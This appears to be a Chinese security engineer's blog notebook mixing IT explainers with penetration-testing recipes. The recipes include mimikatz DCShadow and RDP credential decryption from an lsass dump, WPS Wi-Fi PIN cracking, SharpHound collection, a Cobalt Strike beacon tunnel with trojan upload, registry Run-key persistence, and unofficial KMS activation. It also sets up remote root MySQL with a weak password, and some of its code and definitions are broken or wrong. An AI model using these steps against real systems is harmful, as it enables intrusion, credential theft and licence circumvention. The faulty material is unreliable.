S:sacl_flags(string_ace1)(string_ace2)... (string_acen) #代表SACL

在这里插入图片描述

参考文章:
ace字符串格式
sid字符串格式

79. win10 激活

管理员权限的powershell

slmgr /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX
slmgr /skms kms.03k.org
slmgr /ato

80. 不使用wget与curl实现http请求

exec 7<>/dev/tcp/www.baidu.com/80 #建立socket链接
echo -e 'GET / HTTP/1.0 \n' >& 7 #发起http请求
cat <&7 #获取相应
exec 7<& - #关闭socket链接

81. 程序执行逻辑

  1. 在内存中展开被执行的exe,按照pe 头中规定的展开方式。

  2. cpu中的控制器将内存中的数据读入cpu的寄存器中。

  3. 执行。

32位cpu最多只能同时处理32位也就是4字节的数据。寻址范围是00000000到FFFFFFFF共4gb也就是2的32次方个地址,也就意味着最大只支持4gb的内存。

64位cpu最多能同时处理64位也就是8字节的数据。寻址范围是16个0到16个F。一共2的64次方个地址。最大支持4gb乘4gb大小的内存。

82. 关于多次loadlibrary一个dll文件

如果DLL被多次LoadLibrary,那么DllMain只执行一次,引用基数+1。

83. CVE-2018-8581

exchage 的ssrf漏洞,原理如下:

在漏洞版本下,Exchange允许任何用户把订阅推送到指定的URL,且注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1,它代表了exchange的net ntlm hash可以relay给exchange自己进行身份验证。
exchange在推送订阅的时候使用的自己system账号进行身份验证的(前提是攻击者服务器返回给exchange一个401认证)。
攻击者可以利用这个ssrf漏洞将订阅目标设置为自己的服务器,令exchange去跟自己的服务器进行身份验证,然后攻击者可以实施中间人攻击代替exchange去跟其他机器进行身份验证,换句话说攻击者此时就是exchange这台机器的system账号权限

84. python与java的默认安装路径

MAC:

java
/Library/Java/JavaVirtualMachines/jdk-16.0.2.jdk/Contents/Home
python
/usr/local/Cellar/python@3.9

如果你用dmg安装了jre:
/Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/bin/
检查版本:
/Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/bin/Java -version

windows:

java
C:\Program Files\Java\jdk-16.0.2
python
C:\Users[username]\AppData\Local\Programs\Python\Python39

85. 理解DCShadow

攻击者将一台域内机器提升为域控角色,利用域控之间的数据同步推送,可更改其他用户在LDAP中的属性值,例如添加sidhistory。一般用作权限维持。

条件:

  1. 需要域管理员的凭据。

利用过程:

  1. 打开mimikatz,启动mimidrv服务,获取SYSTEM权限。

mimikatz # !+
mimikatz # !processtoken

  1. 修改目标用户在ldap中的url属性
mimikatz #  lsadump::dcshadow /object:fortest /attribute:url /value:test.dcshadow.com

3.新开一个mimikatz窗口,执行push,触发域控间数据同步过程

mimikatz #  lsadump::dcshadow /push

参考文章:
揭秘DCShadow

86. 用户态切换到内核态

  1. 系统调用,主动切换。
  2. 异常,例如缺页异常。
  3. 外部设备的中断信号。

87. 什么是CAS架构

在这里插入图片描述

CAS架构一个实现SSO也就是单点登录的解决方案,具体结果就是一处登陆处处访问不需要二次登陆。具体逻辑如下:

  1. 用户登录第一个网站的时候会输入自己的账号密码信息,第一个网站就是CAS客户端。
  2. CAS客户端会将用户输入的凭据发送给CAS服务端,这个可能是LDAP服务器一类的认证服务器。然后如果用户通过认证则CAS服务端会发送一个ticket给CAS客户端也就是那个web应用,具体可能是添加一条加密的cookie。
  3. CAS客户端将得到的ticket发送给服务端进行验证,如果通过则身份验证成功。
  4. 如果这时候用户去访问别的需要登陆的web页面或者web服务,那么那个新的服务又会成为新的CAS客户端,将用户的加密的cookie发送给CAS服务端,如果认证通过则返回用户想访问的数据。
  5. 以此类推。

88. zsh与插件的安装和基本配置

wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh 
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/
echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
echo 'export PATH=$PATH:/opt/metasploit-framework/bin' >> ~/.zshrc

zsh-syntax-highlighting zsh-autosuggestions msfvenom

89. locate数据库更新

直接执行:

/usr/libexec/locate.updatedb

也可以将命令添加一个别名到环境变量中
alias updatedb=‘sudo /usr/libexec/locate.updatedb’

90. linux的history命令查询的是~/.bash_history文件的内容(如果shell是bash的话)

91 .mac下python2无pip解决方案

curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
sudo python2 get-pip.py

92. 解决kali上root远程ssh无法登陆与root远程无法登陆kali的mysql

  1. root登陆ssh
echo "PermitRootLogin yes" >>/etc/ssh/sshd_config
service ssh restart
  1. root远程登录mysql
mysql -uroot -p
use mysql;
grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option; #
flush privileges;
exit
vim /etc/mysql/mariadb.conf.d/50-server.cnf
#注释掉bind-address
service mysql restart

mariadb无法远程访问的解决思路

93. kali上mysql忘记密码

参考文章:MySQL root密码忘记,原来还有更优雅的解法!

方法1

mysqld_safe --defaults-file=/etc/mysql/my.cnf --skip-grant-tables  --skip-networking &
alter user 'root'@'localhost' identified by '123456';
flush privileges;
alter user 'root'@'localhost' identified by '123456';

在这里插入图片描述

方法2

vim init.sql 
alter user 'root'@'localhost' identified by '123456';
mysqld_safe --defaults-file=/etc/mysql/my.cnf --skip-grant-tables  --skip-networking &
service mysqld restart --init-file=/usr/local/mysql57/init.sql 

注意my.cnf文件的路径

94. javascript的理解

客户端js

一般是写在网页上,客户访问到网页时浏览器会自动执行js代码,一般情况跟服务端没太多关系不会与服务端产生数据交互,主要负责前端的数据显示或者处理,与客户端进行交互。

服务端js

js也可以用来写服务端就像java一样。这时候就要用到node.js。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

95. VMware vSphere是什么

vSphere 是 VMware 推出的虚拟化平台套件,其中最重要的组建是ESXI跟Vcenter server。

ESXi

可以理解成一个操作系统,可以直接装载在物理主机上,在这个操作系统中可以装很多的windows/linux虚拟机。

Vcenter Server

管理esxi和esxi上运行的虚拟机。

96. Wi-Fi破解

条件:路由器有wps功能,因为一旦提供了这个功能,用户就可以通过pin码登录路由器。这个ping码只有11000种可能

1.查看自己ID无线网卡

networksetup -listallhardwareports   

在这里插入图片描述

2. 监听wifi看是否开启WPS功能:

理论上只要WPS Loaked是No都可以破解。

sudo wlan -i en0 #用自己的无线网卡监听

在这里插入图片描述

3. 破解pin码

sudo reaver -i en0 -b 54:a7:03:08:99:66 -vv

红框内为密码
在这里插入图片描述

如果知道了pin码后wifi被改了密码,我们可以试用下面的命令秒破wifi密码

reaver -i en0 -b MAC -p PIN码 -vv

参考文章:
macos中使用wifi破解
kali破解wifi密码

97. 英文版mac系统如何将地图和日历设置为中文

defaults write com.apple.iCal AppleLanguages '(zh-CN)'
defaults write com.apple.Maps AppleLanguages '(zh-CN)'

98.MAC上使用bloodhound

1.安装neo4j:https://neo4j.com/download-center/#community

2.安装jdk11
https://www.oracle.com/java/technologies/javase/jdk11-archive-downloads.html

3.登陆neo4j管理页面更改默认密码
http://localhost:7474/browser/

默认账号密码相同且都是neo4j
我这里更改成123
出现下面的页面即为更改成功
,

4.下载并启动bloodhound
https://github.com/BloodHoundAD/BloodHound/releases
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
5.将探测所用文件导入目标主机并执行

执行后会在当前文件夹下生成.zip数据文件,将文件拖回bloodhound客户端的计算机进行数据分析。

#powershell版本脚本

 powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"

#exe版本脚本

SharpHound.exe -c all

#powershell版本azure脚本可手机Azure环境的数据

powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module Az
Import-Module AzureADPreview
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound

6.将.zip文件导入客户端进行数据分析
点击这个upload Data将.zip文件导入即可
在这里插入图片描述

参考文章:bloodhound官方手册

99. proxychains4配置文件位置

/usr/local/etc/proxychains.conf

100. chrome路径

chrome://version
在这里插入图片描述

101. %00截断原理

系统会自动忽略0x00这个16进制数据后面的东西,而%00最终会被解析成0x00.

102 . 什么是javabean

符合某种编码规范的java类。这种类因为符合规范,因此即使更新内部代码,也不会影响曾经使用过这种类的java应用,用户不不必更改自己的源代码就可以享受到java bean更新后的性能提升。 从基本上说,JavaBean可以看成是一个黑盒子,即只需要知道其功能而不必管其内部结构的软件设备。

规范有:

  1. 所有属性都为private。
  2. 提供默认的构造方法。
  3. 拥有getter跟setter函数。

103. python开启httpserver与tty的shell

python3 -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
python2 -m SimpleHTTPServer
python3 -m http.server

104. chrome多线程下载

chrome://flags/#enable-parallel-downloading

105. 编译器与解释器的区别

编译器子程序运行前对程序的所有源代码进行解释处理,然后会得到一个解释称机器语言的文件。如果想改变程序的内容,必须重新进行编译生成新的解释后文件才行。

解释器是在程序运行时对程序的代码进行逐行的解释处理,运行到哪里就解释到哪里,不会生成新的解释后的文件,程序员可以随时改变即将被解释执行的源代码。

106. 进程、线程、协程

进程:系统资源分配的最小单位。也就是说系统分配内存时,是按照一个进程一块内存去分配的。

线程:cpu操作的最小单位,和进程共享资源,可以理解线程是指令,指令操作的数据在进程的内存中,线程没有内存,共享进程的内存。可以理解成cpu不直接操作进程,直接操作的是线程,一个进程是由多个线程构成的,且这些线程会使用操作系统分配给进程的内存,但是线程间的内存却是独立且无法互相访问的。

协程:一个线程可以有多个协程。占用资源更小,本质同一时间还是只有一个协程在执行。协程之间,必须有协程主动让出cpu,其他的协程才能执行,至于具体怎么让,是程序员定的。不过go语言内置了一套特别好用的携程调度方法,这就使得go的协程效率很高。

107. 同步与异步

同步是阻塞模式,异步是非阻塞模式。

  • 同步就是指一个进程在执行某个请求的时候,若该请求需要一段时间才能返回信息,那么这个进程将会一直等待下去,知道收到返回信息才继续执行下去;
  • 异步是指进程不需要一直等下去,而是继续执行下面的操作,不管其他进程的状态。当有消息返回式系统会通知进程进行处理,这样可以提高执行的效率。

108. python的生成器yield与next

使用yield的函数是生成器,只有next可以使生成器执行,直接调用生成器不会执行其中的代码。举例:

#!/usr/bin/python3

import sys


def fibonacci(n):  # 生成器函数 - 斐波那契
	print("test")
    a, b, counter = 0, 1, 0
    while True:
        if (counter > n):
            return
        yield a
        a, b = b, a + b
        counter += 1


print(1)
f = fibonacci(10)  # f 是一个迭代器,由生成器返回生成
print(2)
n=0
while True:
    try:
        n+=1
        print("第{0}次".format(n))
        print(next(f), end=" ")
    except StopIteration:
        sys.exit()

上述代码执行顺序为:

  1. 打印出1
  2. 获取生成器的函数句柄,并命名为f,这个时候函数fibonacci中的代码不会执行,因此不会打印出函数中的第一行test。只有next函数会触发生成器中的代码。
  3. 打印出2
  4. 进入while循环,打印出第1次
  5. 执行next函数,此时进入fibonacci函数,执行第一行的print,打印出test
  6. 继续执行到yield a处,并将a的值范围给next(f)作为next(f)的值,接着暂时退出fibonacci函数回到刚才的next函数那一行。
  7. 执行完print(next(f), end=" "),这次打印出的是0
  8. 继续这个while循环,打印第2次,继续执行直到再次遇见next函数。
  9. 进入刚才暂停的fibonacci函数,并接着执行yield a下面的代码,因为fibonacci中也是while循环,因为print(“test”)没在while循环内所以不会再被打印了。函数会再次执行到yield。等到再次执行到yield时,就将a的值返回到next(f),并暂时退出fibonacci函数,这时候a的值为1。
  10. 回到print(next(f), end=" "),此时打印出的是 1
  11. 继续回到fibonacci函数进行循环。

综上,打印出的值为:
1
2
第1次
test
0
第2次
1

在这里插入图片描述
总结:

  1. 含有yield的函数叫做生成器函数。
  2. 生成器函数只能通过next执行。
  3. 当生成器函数执行到yield的时候,会将yield 后面参数的值作为next()函数的结果,然后退出生成器函数。接着执行next函数后面的代码。
  4. 再次遇见next函数的时候会再生成器函数中从刚暂停的地方继续执行,直到遇见下一个yield后将yield后面的参数返回给next函数当作结果。然后执行next函数后面的代码。

在这里插入图片描述

109. 反序列化攻击的本质

反序列化攻击需要我们通过某种方式给目标传递一段序列化后的代码。这段代码里面包含类名,参数的值等,可以理解成目标机器接收到这段数据后,会根据数据中的内容,使用对应的类创建对象,然后触发这个创建后的对象的readobject函数。如果我们发送的序列化数据中的对象在目标机器上没有对应的类,那么就什么都不会发生。

举个例子,反序列化数据到达目标及其后,目标及其就会将其中的数据取出,发现取出的数据是,test对象,参数是a=1。然后目标机器就会执行new test(a=1)操作,同时触发test类的readobject函数。如果对方机器不含test类,那么new test(a=1)就会失败,什么都不会被创建。

反序列化不一定会造成漏洞。造成漏洞是因为目标去机器上含有可被利用的攻击链。

其实可以这样理解,如果对方机器含有可利用的攻击链,那么我们只要发送给目标机器一个特定的对象还有这个对象所需的参数,同时这个对象的类必须在目标机器上存在,然后这个对象会在目标机器上被创建,对象对应类的readobject函数会被触发,各种数据经过各种各样的传递、解析,最终我们上传的对象中的某一个参数,会被当作命令在目标机器上执行。

例如shiro反序列化漏洞的利用。shiro本身不会造成rce,而是因为我们上传的恶意序列化后的对象,在反序列化的时候触发了某一个可rce的攻击链。

换句话说,如果攻击链不存在,那么即使shiro的key你知道,你可以构造任意反序列化数据,但是永远无法进行rce。

110. shiro是什么?

apache shiro是一套身份验证的安全框架,提供许多身份验证的接口,还能提供授权、会话加密等函数。

111. 熵

一个物质做的功时无用功的总数。

112. 什么是端口?为什么只有65535个端口?

  1. 端口在主机上对应的是不同应用对应的内存区域,相当于那块内存的编号。当机器收到数据包后,会将数据发送给不同的应用,具体发送给谁取决于谁的端口能够跟数据包中的端口匹配。

  2. 因为TCP/IP协议中,只预留了16位来存储端口号,因此端口最大就是2的16次方也就是65535。

113. 什么是驱动?为什么要有驱动?

驱动是一个软件,存在的意义是方便操作系统控制硬件,操作系统在没有驱动的时候是无法与硬件产生交互的。操作系统本身集成了一些通用驱动,可以发挥大部分硬件的基础性能,但好的硬件一般都会有自己的专属驱动,只有它才可以发挥出硬件的全部性能。

114.jar包与war包的区别

jar包和war包的区别:jar包是java打的包,war包可以理解为javaweb打得包。

jar包就是别人已经写好的一些类,然后对这些类进行打包。可以将这些jar包引入到你的项目中,可以直接使用这些jar包中的类和属性,这些jar包一般放在lib目录下。

jar包也一般被当作java写的exe程序,双击即可执行。
meta-inf中是jar包的配置信息,meta-inf中的MANIFEST.MF文件可以帮助我们执行java -jar的时候找到main.class。

jar包中的结构如下,
在这里插入图片描述
war包就是一个完整的web应用,里面有此web应用所需的所有文件。

115. javaEE是什么

一个包含jvm和用于高并发网络连接的API的java程序执行环境,全名是java enterprise edition。

一句话讲清楚什么是javaEE

116. 什么是jboss

类似于tomcat,是一个java中间件,可以运行EJB,可以在web端对服务器上的web服务进行管理。可以理解成一个加强版的可以运行的EJB的tomcat。

117. 什么是EJB

在J2EE 中,这个运行在一个独立的服务器上,并封装了业务逻辑的组件就是EJB(Enterprise JavaBean)组件。

118. jboss、webSphere、weblogic

他们共同的特点是支持EJB,Enterprise JavaBean。

webSphere是ibm推出的中间件,不免费,一般金融类公司在用。

jboss性能不怎么好,用的不多。

WebLogic是现如今EJB分布式应用领域中排名第一的应用服务器,公司大多用weblogic。

119. 什么是spring boot?

相当于一个容易配置的spring框架,Spring Boot 不需要任何 xml 配置即可实现 Spring 的所有配置,而且内嵌了servlet容器例如tomcat,应用无需打成 WAR 包 。

120. api开头的url

一般是REST型api,或者说REST型的web services,与REST型api进行交互可以使用json数据,并且这种api会把交互结果直接用JSON格式的数据进行返回。
在这里插入图片描述
客户端会根据得到的json数据进行解析,需要自己写对应的解析模块,浏览器只能显示json数据,但不会进行后续操作。所以调用rest api的客户端一般是自己写好了的。

参考文章:编写rest api
利用Python和Flask快速开发RESTful API
RESTful API进阶:连接数据库、添加参数、Token认证、返回代码说明等

121. 什么是F5 BIG-IP

f5公司的一个硬件产品,作用是通过硬件介入来增加网络的吞吐量,他本身是一个linux系统的硬件设备。

F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986
CVE-2021-22986 F5 BIG-IP 远程代码执行漏洞复现

122. 理解nginx与apache

nginx是一个可以提供http服务的反向代理服务器。
nginx自己本身不能解析php和jsp代码,但它可以使用自己的反向代理功能去变相实现php请求的解析:

  1. 将php类型的请求发送给PHP-FPM去处理
  2. PHP-FPM处理结束后将返回结果发送给nginx服务器
  3. nginx服务器将数据发送给我们的浏览器

nginx自己本身的http服务功能类似于python的python -m http.server,只能解析静态网页


apache使用module的方式实现php的解析的,apache本身也不解析php。

sapi是一个中间层接口,可以让php与其他程序进行通信。php_module具体就是apache可使用的一个sapi接口的实现。

  1. 当请求到达apache服务器的时候,apache调用httpd程序进行初步解析。
  2. 发现是php类型的请求,httpd服务会调用sapi接口也就是php_module来与php进行通信
  3. php执行完成后sapi将结果返回给httpd服务,最终结果被返回到客户的浏览器里。

在这里插入图片描述

CGI、FastCGI和PHP-FPM关系图解
浅谈PHP fastcgi和php-fpm

123. 什么是oss

OSS一个基于云的对象存储服务,可以理解成一个云上的文件存储服务。

所有的数据以对象为单位存储在一个扁平化的空间里,而不是像传统的文件存储是树状的存储结构,oss可以理解成所有的数据都在一个大的文件夹里,所以搜索每个文件的成本是一样的。

搜索数据的时候提供一个key即可,这个key可以理解成文件名。oss具有无限的空间,更好的安全性,更快的访问速度的优势。

在这里插入图片描述

124. ElasticSearch与apache solr

ElasticSearch是一个数据分析引擎,擅长数据的全局检索与分析,数据在ElasticSearch中时json的格式。相比较于传统数据库,搜索的效率更高,而且支持的数据量更大。

solr跟ElasticSearch十分相似,不过覆盖度不如ElasticSearch,他们都是基于lucene开发的搜索服务。

用大白话告诉你什么是 Elasticsearch
Elasticsearch vs Solr 搜索引擎对比和选型
ElasticSearch-查询语句详解

125. ZooKeeper与单点故障

ZooKeeper是一个分布式协调服务,“读”多于“写”是协调服务的典型场景,主要是用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步服务、集群管理、分布式应用配置项的管理等等。它用于各种分布式服务之中负责服务注册中心、配置同步、分布式锁等,可以确保每个客户端都能稳定有序高效的读取Zookeeper中的数据。

在 ZooKeeper 中没有选择传统的 Master/Slave 概念,而是引入了Leader、Follower 和 Observer 三种角色。因此解决了单点问题。Leader 既可以为客户端提供写服务又能提供读服务。除了 Leader 外,Follower 和 Observer 都只能提供读服务。而如果集群中的其他机器接收到客户端的事务请求,那么这些非 Leader 服务器会首先将这个事务请求转发给 Leader 服务器。

ZooKeeper 一个最常用的使用场景就是用于担任服务生产者和服务消费者的注册中心。因为ZooKeeper数据是以树状图的状态存储在内存中的,所以检索会很快。

Zookeeper最早是为了解决单点故障而出现的。我的理解是ZooKeeper时一个在分布式服务中,所有机器都可以访问的一个分布式数据库。


单点问题或者说单点故障指的是分布式服务中的一个普遍问题,分布式服务中一般有很多机器,分为master/slaver,master负责分配任务,slaver负责做任务。当master挂掉后整个分布式业务就会挂掉,这就是单点故障

什么是单点故障
ZooKeeper 搭建 solr 集群

126. kafka是什么

kafka是一个分布式的消息队列系统且一般与Zookeeper联动生成kafka集群来提高性能。它的作用是当消息产生的时候,快速的被送到该去的地方。是一个消息的生产者与消息的消费者之间的中介。

kafka负责接收生产者主动发送的数据,并在消费者主动读取数据的时候将数据给予消费者,特点是性能无比强大,有很高的吞吐量与吞吐速度,速度比传统的数据库快得多,所以一般是用在日志记录上,可以同时记录大量的日志信息,当其他应用读取日志的时候速度也很快,这是一般数据库所做不到的。

应用场景例如将日志信息传递给hadoop进行离线分析,或者kafka与kibana联动。

一文看懂-Kafka消息队列

127. mac生成rsa密钥对

openssl genrsa -out private.pem 1024
openssl rsa -in private.pem -out public.pem -pubout

128. jira 是什么

jira是一个开发人员使用的项目管理的工具,里面包括bug管理、需求管理等各种功能。

129. ndr是什么

面对流量进的行为进行检测,无论病毒怎么变只要ndr检测出了恶意流量就会告警,跟传统的指纹识别病毒相比有很大进步。

130. 什么是ASN

ASN是自治系统数字。
每个运营商或者大的公司例如google都会有自己的ASN ,它是一串用于身份识别的数字,例如中国电信是4089。
参考文章:https://www.zhihu.com/question/21024981

131. go语言交叉编译

Mac 下编译 Linux 和 Windows 64位可执行程序

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

Linux 下编译 Mac 和 Windows 64位可执行程序

CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

Windows 下编译 Mac 和 Linux 64位可执行程序

SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build main.go

SET CGO_ENABLED=0
SET GOOS=linux
SET GOARCH=amd64
go build main.go

GOOS:目标平台的操作系统(darwin、freebsd、linux、windows)
GOARCH:目标平台的体系架构(386、amd64、arm)
交叉编译不支持 CGO 所以要禁用它

上面的命令编译 64 位可执行程序,你当然应该也会使用 386 编译 32 位可执行程序

132. yapi是什么

Yapi是一个api管理平台,可以记录已经写好的api数据,也可以使用mock 脚本临时生成一些方便测试的api。YAPI可以供客户端开发者与服务端开发者同时使用。

服务端开发者可以在A、B、C三个服务器上部署好接口,然后将接口的数据,例如调用规则等放在yapi上进行统一管理。yapi平台还提供了自动化接口测试等功能,可以让开发者宏观的看到项目的所有接口,并方便测试。

客户端开发者可以使用mock 功能,自己编写mock 脚本进行在mock 服务器上这就是YAPI服务器上测试,相当于YAPI提供了一个临时生成简单的api的功能。当然客户端开发者也可以使用服务端开发者写好的真正部署在服务器上的api 进行测试。

https://blog.csdn.net/lixiaomei0623/article/details/104972876

133. 正向代理与反向代理

正向代理是方便自己访问别人,此时自己主动配置代理服务器并跟代理服务器绑定成为一个整体,而服务端只能看到代理服务器看不到真正的访问者。

反向代理是方便别人访问自己,例如一个服务器在内网,别人访问不到,这时候就需要一个反向代理服务例如nginx,在用户看来它在访问nginx服务器,其实它是通过nginx访问了一个内网资源。

在这里插入图片描述

134. CDN的本质

CDN上一般只会缓存源站的静态页面,例如html,css等。相当于一种良性的DNS劫持,实现了负载均衡的功能。

在这里插入图片描述

当我们访问一个CDN节点上不存在的数据时,CDN会主动将我们的请求转发到主站,然后下载我们需要的数据,并将数据同步到CDN服务器,方便我们下次访问。

135. openstack与kvm

kvm是linux的开源虚拟化技术。
openstack是开源的云计算技术,是一套Iaas套件,也就是云计算基础设施。具体核心功能是实现基础设施中的资源调度,例如cpu分配、内存分配等。

在这里插入图片描述

openstack入门科普

136. 更新ip2region数据库

java -jar dbMaker-1.2.2.jar -src /Users/zhujiayu/tools/others/ip2region/data/ip.merge.txt -region /Users/zhujiayu/tools/others/ip2region/data/global_region.csv -dst /Users/zhujiayu/tools/others/ip2region/data
cp /Users/zhujiayu/tools/others/ip2region/data/ip2region.db /Users/zhujiayu/tools/info_collection/subdomain/passive/ip2region.db 

137. java单例模式

1、单例类只能有一个实例。
2、单例类必须自己创建自己的唯一实例。
3、单例类必须给所有其他对象提供这一实例。

特点:构造函数是私有的。

class Scratch {
    private Scratch (){}
    private static final Scratch instance = new Scratch();
    public static Scratch getInstance(){
        return instance;
    }

    public void showMessage(){
        System.out.println("Hello World!");
    }
    public static void main(String[] args) {
        Scratch t = Scratch.getInstance();
        t.showMessage();
    }
}

138. 什么是准入控制

有802.1x准入控制技术,根据网络运行情况无用户权限情况,限制用户接入网络。

139. 网络取证

网络取证,就是提取或者恢复网络中或者计算机中的数据,并对发生的网络事件进行可靠的分析与纪录,并将其作为法律证据的过程。它也被称为数字取证或者电子取证,现在也有了动态取证,就是前瞻性的在有可能发生计算机犯罪的电脑上进行长期的数据记录并进行实时分析,获取更全面的犯罪证据。

配套设备,入侵检测系统,流量分析系统,蜜罐蜜网等,日志大数据分析系统。

https://www.wenmi.com/article/pwbz4s03pucs.html

140. 应急响应落地

问题出现前

前期准备阶段,需要系统维护人员将安全版本的系统提前打好快照,在系统出现问题的时候可以及时恢复。

日常安全检测
由系统维护人员使用初级检测技术进行检测,确定系统是否出现异常。在发现异常情况后,形成安全事件报告,由安全技术人员和安全专业技术人员介入进行高级检测来查找安全事件的真正原因,明确安全事件的特征、影响范围并标识安全事件对受影响的系统所带来的改变,最终形成安全事件的应急处理方案。

问题出现后

快速响应威胁,采取措施抑制风险的扩散。例如服务下线,或者将系统恢复到之前打的安全模式的快照。

抑制住风险后开始寻找问题源头,并进行修复,例如修改漏洞代码,从源头上解决问题。

恢复被风险抑制影响服务。

持续跟进此漏洞的后续情况,看会不会再次出错,并将漏洞记录到自己公司的漏洞收集平台,方便后期研究总结与问题溯源。

https://zhuanlan.zhihu.com/p/398246816

141. SolarWinds供应链攻击

SolarWinds公司的Orian软件更新包被植入了木马,是一则供应链攻击的案例.

对于供应链安全,上游的产品供应方应该在产品运维和数据保护等方面加强安全管理,提高员工安全意识,避免被攻击者钓鱼攻击或者利用社工突破。保证产品的完整性,确保在给下游分发的软硬件/工具/组件等不被植入、篡改、伪造或者替换,并且确保在分发传递中的信息不被泄露给未授权者。同时在产品的设计、研发、生产、运维等生命周期中提早加入对于安全方面的考量。
下游产品厂商,尤其是涉及政府部门以及关乎国家安全和国民经济命脉的关键领域,例如军工、电网电力、石油石化、电信、煤炭、航空运输、航运等行业,需加强对上游供应商发布的产品/补丁的审查,扩大审查范围,强化审查流程,以保障国民经济生活安全。

142. 不出网机器渗透思路

上线cs

条件:对方有web服务
Pystinger工具
假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

  1. 目标机器上执行:
    start start stinger_server.exe 0.0.0.0

  2. vps执行:
    ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000

  3. 创建listener,ip是对方内网ip,监听端口为60020,上传木马到目标服务器并执行即可

挂web类型的代理进行渗透,例如neo-regeorg

143. 什么是微隔离技术?

主要用于保护东西向也就是横向的流量.类似于防火墙,不过微隔离技术一般是有一个agent端还有一个控制端,agent端放在需要被保护的设备上,控制端决定被保护设备的流量规则如何配置.有别于传统防火墙配置端跟使用端是同一个机器.微隔离技术可以跨平台的统一管理各种规则.
https://cloud.tencent.com/developer/news/646092

优势:

  1. 实现基于业务角色的快速分组能力,为隔离分区提供基于业务细粒度的视角(解决传统基于 IP 视角存在较多管理上的问题);
  2. 在业务分组的基础上自动化识别内部业务的访问关系,并能通过可视化方式进行展示;
  3. 实现基于业务组之间的隔离能力、端到端的工作负载隔离能力、异常外联的隔离能力,支持物理服务器之间、虚拟机之间、容器之间的访问隔离;通过隔离全面降低东西向的横向穿透风险,支持隔离到应用访问端口,实现各业务单元的安全运行;
  4. 具备可视化的策略编辑能力和批量设置能力,支持大规模场景下的策略设置和管理;
  5. 具备策略自动化部署能力,能够适应私有云弹性可拓展的特性,在虚拟机迁移、克隆、拓展等场景下,安全策略能够自动迁移;
  6. 在混合云环境下,支持跨平台的流量识别及策略统一管理。

144. sping rce大概原理

影响范围是jdk9.0及以上.

基于springmvc的参数绑定,可以通过构造特殊的传参,来修改中间件中某个指定对象的属性.例如修改日志文件的后缀为jsp,日志文件的路径为web根目录.这样子我们再构造恶意的访问,就可以生成含有我们恶意webshell的恶意日志出现在根目录了.

145. smbexec原理

smbexec原理:

使用账号密码链接ipc$

创建并启动BTOBTO服务,服务内容如下:

上传bat文件到temp文件夹并执行

这个bat文件的功能是:

  1. 执行命令并将结果传入指定的文件假设名字为__output
  2. 删除自身

获取__output内容并删除__output文件

将命令执行结果内容传输回smb客户端

146. shell脚本监控root登陆

#!/bin/bash
username = `who | grep root`
if [ !  "$username" ];then
	echo 'root没登陆'
else
	echo 'root登陆了'
if


echo '*\1 * * * * /bin/bash -c "/bin/bash /root/Desktop/1.sh"' > /etc/cron.d/12

147. system权限下修改指定用户注册表

reg load HKU\1 C:\Users\zhangsan\ntuser.dat
REG ADD "HKEY_USERS\1\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "cmd.exe /c notepad.exe"

148. vmware下扩充windows磁盘遇见问题

dispart
rescan
list disk
select disk 0
list partition
select partition 4
delete partition override

149. 3389凭据破解

https://www.modb.pro/db/125232

#查看有没有保存的凭据
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" s
cmdkey /list

#看有什么文件
cd %userprofile%/AppData/Local/Microsoft/Credentials/
dir /a

#将文件拖回本地
type 文件名>1.txt

#在本地使用mimikzte加载该凭证,里面有guidMasterKey和pbData两个值是重点
dpapi::cred in:C:\users\admin\desktop\123\FA8654DBDA31F5DA3DA2EE53F03

#dump目标机器的lsass文件

#使用mimikatz在另一台机器上加载刚dump下来的lsass文件
sekurlsa::minidump lsass.dmp

#根据guidMasterKey找到masterkey
sekurlsa::dpapi

#解密
dpapi::cred /in:C:\users\admin\desktop\123\FA8654DBDA31F5DA3DA2EE53F0372F46 /masterkey:6983ce8378095b4bc86a1fbf353e14a61edd5615012b9192a59d11077d425bea83df3515022395fecb8bffa98ea82fc8db2011d06fa5ba61f74c8fd869c4f23a
  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
